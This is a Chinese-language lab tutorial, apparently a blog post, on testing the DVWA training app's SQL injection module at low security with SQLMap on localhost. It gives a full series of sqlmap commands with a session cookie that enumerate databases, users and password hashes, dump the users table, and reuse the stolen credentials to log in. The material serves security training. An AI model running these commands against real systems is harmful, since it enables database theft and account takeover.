• (七)DVWA之SQL Injection--SQLMap测试(Low)


    目录结构

    一、测试需求分析
    二、SQLMap利用SQL注入漏洞,获取数据库信息
        1.判断是否存在注入点
        2.获取DBMS中所有的数据库名称
        3.获取Web应用当前连接的数据库
        4.列出数据库中的所有用户
        5.获取Web应用当前所操作的用户
        6.列出可连接数据库的所有账户-对应的密码哈希
        7.列出指定数据库中的所有数据表
        8.列出指定数据表中的所有字段(列)
        9.导出指定数据表中的列字段进行保存
        10.根据导出的数据,验证数据有效性
    

    一、测试需求分析

    测试对象:DVWA漏洞系统--SQL Injection模块--User ID提交功能
    防御等级:Low
    测试目标:判断被测模块是否存在SQL注入漏洞,漏洞是否可利用,若可以则检测出对应的数据库数据
    测试方式:SQLMap自动化工具

    其前已经总结过SQLMap工具检测SQL注入漏洞的实践操作(SQLMap工具检测SQL注入漏洞、获取数据库中的数据),但当时是以未登录的身份直接可以获取并检测url场景,而本文则是针对需要登录之后才能获取到带参的被测url地址进行检测的应用场景。

    二、SQLMap利用SQL注入漏洞,获取数据库信息

    登录dvwa系统(admin--password),输入任意User ID进行提交,然后即可获取到提交时的url,此url可通过浏览器F12查看获取,也可通过抓包or拦截工具获取(如:Fiddler、BurpSuite)
    Request URL: http://localhost:8001/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit

     

    1.判断是否存在注入点

    python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --batch

     

    直接对登录后获取的url进行检测,会302重定向跳转到登录时的url,说明检测的url需要带有登录权限才能验证,即SQLMap检测命令中需要带上登录dvwa后维持与服务器连接的cookie信息。

    重新调整SQLMap检测命令,如下:
    python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=f4bt865o8r3l3curiv40la98f1" --batch

     

    2.获取DBMS中所有的数据库名称

    python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=f4bt865o8r3l3curiv40la98f1" --batch --dbs

    3.获取Web应用当前连接的数据库

    python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=f4bt865o8r3l3curiv40la98f1" --batch --current-db

    4.列出数据库中的所有用户

    python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=f4bt865o8r3l3curiv40la98f1" --batch --users

    5.获取Web应用当前所操作的用户

    python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=f4bt865o8r3l3curiv40la98f1" --batch --current-user

     

    6.列出可连接数据库的所有账户-对应的密码哈希

    此处列出的是连接数据库的账户信息
    python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=f4bt865o8r3l3curiv40la98f1" --batch --passwords

     

    7.列出指定数据库中的所有数据表

    python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=f4bt865o8r3l3curiv40la98f1" --batch -D dvwa --tables

     

    8.列出指定数据表中的所有字段(列)

    python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=f4bt865o8r3l3curiv40la98f1" --batch -D dvwa -T users --columns

     

    9.导出指定数据表中的列字段进行保存

    python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=f4bt865o8r3l3curiv40la98f1" --batch -D dvwa -T users -C "user,password" --dump

     

    10.根据导出的数据,验证数据有效性

    userpassword
    1337 charley
    admin password
    gordonb abc123
    pablo letmein
    smithy password

    从以上导出的user---password组合中任取一组,回到前端登录界面进行验证

    登录界面:http://localhost:8001/dvwa/login.php
    用户密码:pablo---letmein

    登录成功
  • 相关阅读:
    python-第05章-元组与购物车的程序练习
    python-第01章05章节-列表使用
    python-第01章04章节-python的数据类型和三元运算
    python-第03章-初识模块和解释pyc
    python-第01章02章节-密文,if else判断和while,for循环
    python-第01章01章节-用户输入以及字符串的介绍
    k8s- centos7.8搭建
    k8s-获取kuboardtoken
    k8s搭建
    nginx编译安装
  • 原文地址:https://www.cnblogs.com/uestc2007/p/11475541.html
Copyright © 2020-2023  润新知